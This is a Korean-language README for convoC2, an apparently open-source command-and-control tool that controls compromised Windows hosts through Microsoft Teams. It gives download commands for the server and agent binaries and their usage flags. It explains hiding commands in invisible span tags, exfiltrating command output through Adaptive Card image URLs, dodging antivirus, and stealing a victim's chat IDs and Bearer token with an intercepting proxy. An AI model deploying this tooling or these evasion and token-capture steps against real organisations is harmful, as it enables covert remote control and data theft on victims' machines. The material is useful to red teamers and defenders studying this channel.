
Microsoft Teams를 통한 C2 인프라.
Red Teamer가 Microsoft Teams를 통해 침해된 호스트에서 시스템 명령을 실행할 수 있게 해주는 명령 및 제어 인프라입니다.
Microsoft Teams 메시지의 숨겨진 span 태그에 데이터를 삽입하고, Adaptive Cards 이미지 URL로 명령 출력을 유출시켜 C2 서버로 아웃바운드 요청을 트리거합니다.
피해자와 공격자 간의 직접적인 통신이 없다는 점, 그리고 피해자가 Microsoft 서버로만 HTTP 요청을 보내고 안티바이러스가 MS Teams 로그 파일을 들여다보지 않는다는 점이 탐지를 더 어렵게 만듭니다.

다음 영상은 두 대의 침해된 호스트를 제어하기 위해 서버를 사용하는 방법을 보여줍니다. 하나는 Windows 11에서 새 Teams를 실행 중이고, 다른 하나는 Windows 10에서 구버전 Teams를 실행 중입니다. 첫 번째 경우, 공격자는 피해자와 같은 조직에 속해 있지 않습니다.
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
참고: 첫 번째 경우 피해자는 이미 외부 공격자와의 채팅을 수락한 상태이지만, 공격자가 피해자와 처음으로 채팅을 시작하는 실제 시나리오에서는 피해자가 공격자와의 채팅을 확인해야 합니다(다만 이 경고 메시지는 쉽게 우회할 수 있습니다. 여기를 참조하세요). 이는 문제가 되지 않습니다. 어차피 메시지가 로그 파일에 캐시되기 때문에, 피해자가 아직 채팅을 확인하거나 수락하지 않았더라도 명령은 수신되고 실행됩니다.
서버
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
에이전트
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
작동시키려면 몇 가지를 설정해야 합니다:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads로 POST 요청을 보내 채팅을 초기화합니다. 응답에서 threadId는 Location 헤더 url의 경로에 반환됩니다.
동일한 요청의 Bearer 토큰은 메시지 전송 엔드포인트인 https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages에 인증하는 데 사용됩니다. 따라서 이 세 가지만 확보하면 나머지는 서버가 처리합니다.서버를 시작한 후에는 인증을 위해 이전에 확보한 데이터를 사용하여 새로운 에이전트를 수신하고 제어할 수 있습니다. 사용 예시는 데모를 확인하세요.
우선 Teams 채널을 생성해야 합니다.

세 개의 점을 마우스 오른쪽 버튼으로 클릭한 다음 "Workflows"를 클릭합니다.

검색창에 "Webhook"을 입력하고 "Post to a channel when a webhook request is received"를 클릭합니다.

기본 설정으로 계속 진행한 후 마지막으로 url을 복사합니다.

먼저 피해자를 찾습니다.

웹 프록시가 요청을 가로채는 상태에서 피해자 계정을 선택한 후 더미 메시지를 보낼 수 있습니다.

api/chatsvc/emea/v1/threads 요청에 있는 두 개의 id를 저장한 다음 요청을 DROP합니다. 인증 토큰은 동일한 요청의 Bearer 토큰입니다.

이 인프라는 Bobbyrsec이 수행한 Teams GIFShell 연구에서 영감을 받았습니다.
처음에는 이 문제를 재현하는 것이 목적이었지만, 해당 취약점은 부분적으로 수정된 것으로 보였습니다. 이 연구는 Base64로 인코딩된 GIF에 명령을 주입하는 방식을 다루었지만, 이러한 GIF는 더 이상 제대로 표시되지 않았습니다. 대신 채팅에 손상된 이미지 아이콘이 나타나 피해자가 의심하기 시작할 가능성이 있었습니다.
여러 방법을 테스트한 끝에, GIF나 이미지가 아닌 메시지에 직접 명령을 삽입할 수 있다는 것을 발견했습니다. 여러 이미지를 보내는 것이 단순한 메시지를 보내는 것보다 의심을 살 가능성이 더 높지 않을까요?
처음에는 <script>, <meta> 또는 사용자 정의 태그에 명령을 삽입하는 것을 고려했지만 모두 필터링되었습니다. 결국 display:none이 적용된 <span> 태그의 aria-label 속성에 명령을 삽입하는 것이 성공했습니다. 피해자는 메시지만 보게 되지만, 숨겨진 명령이 실제로 Teams 로그 파일을 오염시키게 됩니다.

서버 TUI는 훌륭한 Go BubbleTea 프레임워크를 사용하여 개발되었습니다.
버그를 발견하거나 프로젝트를 개선하고 싶다면 언제든지 풀 리퀘스트를 열어 주세요. 기꺼이 검토하고 변경 사항을 병합하겠습니다. 단기 할 일은 다음과 같습니다: